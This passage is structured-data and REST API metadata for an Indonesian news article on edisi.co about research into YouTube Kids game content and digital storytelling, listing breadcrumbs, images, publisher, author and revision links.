hiburan","breadcrumb":{"@id":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#breadcrumb"},"inLanguage":"id","potentialAction":[{"@type":"ReadAction","target":["https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/"]}]},{"@type":"ImageObject","inLanguage":"id","@id":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#primaryimage","url":"https:\/\/edisi.co\/wp-content\/uploads\/2022\/10\/5ed2312b4c7cc-dua-cara-memasang-video-dari-youtube-ke-blogspot_1265_711.webp","contentUrl":"https:\/\/edisi.co\/wp-content\/uploads\/2022\/10\/5ed2312b4c7cc-dua-cara-memasang-video-dari-youtube-ke-blogspot_1265_711.webp","width":1265,"height":711,"caption":"Ilustrasi Youtube. Dok; Ist."},{"@type":"BreadcrumbList","@id":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/edisi.co\/"},{"@type":"ListItem","position":2,"name":"Riset: Konten \u2018Game\u2019 YouTube Kids Abaikan 6 Elemen \u2018Digital Storytelling\u2019 yang Penting untuk\u00a0Anak"}]},{"@type":"WebSite","@id":"https:\/\/edisi.co\/#website","url":"https:\/\/edisi.co\/","name":"Edisi","description":"Energi Informasi","publisher":{"@id":"https:\/\/edisi.co\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/edisi.co\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"id"},{"@type":"Organization","@id":"https:\/\/edisi.co\/#organization","name":"Edisi","url":"https:\/\/edisi.co\/","logo":{"@type":"ImageObject","inLanguage":"id","@id":"https:\/\/edisi.co\/#\/schema\/logo\/image\/","url":"https:\/\/i0.wp.com\/edisi.co\/wp-content\/uploads\/2022\/06\/cropped-LOGO-EDISI-1-1.png?fit=512%2C512&ssl=1","contentUrl":"https:\/\/i0.wp.com\/edisi.co\/wp-content\/uploads\/2022\/06\/cropped-LOGO-EDISI-1-1.png?fit=512%2C512&ssl=1","width":512,"height":512,"caption":"Edisi"},"image":{"@id":"https:\/\/edisi.co\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Edisico-102666665780112","https:\/\/x.com\/edisi_co","https:\/\/www.instagram.com\/edisi.co\/"]},{"@type":"Person","@id":"https:\/\/edisi.co\/#\/schema\/person\/6d99b6e4c7daa385fac75d76deb26690","name":"Bobi","image":{"@type":"ImageObject","inLanguage":"id","@id":"https:\/\/edisi.co\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/e6a18ff58267d1259b30d316fda0ad4c4d27fbaafdc2ab630458e38a4630f6f8?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/e6a18ff58267d1259b30d316fda0ad4c4d27fbaafdc2ab630458e38a4630f6f8?s=96&d=mm&r=g","caption":"Bobi"},"description":"Penulis edisi.co bermukim di Kampung Monggak, Kelurahan Rempang Cate, Kecamatan Galang, kawasan pesisir Batam.","sameAs":["http:\/\/editorian.id"],"url":"https:\/\/edisi.co\/author\/bobi\/"}]}},"_links":{"self":[{"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/posts\/16641","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/comments?post=16641"}],"version-history":[{"count":2,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/posts\/16641\/revisions"}],"predecessor-version":[{"id":18338,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/posts\/16641\/revisions\/18338"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/media\/7656"}],"wp:attachment":[{"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/media?parent=16641"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/categories?post=16641"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edisi.co\/wp-json\/wp\/v2\/tags?post=16641"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}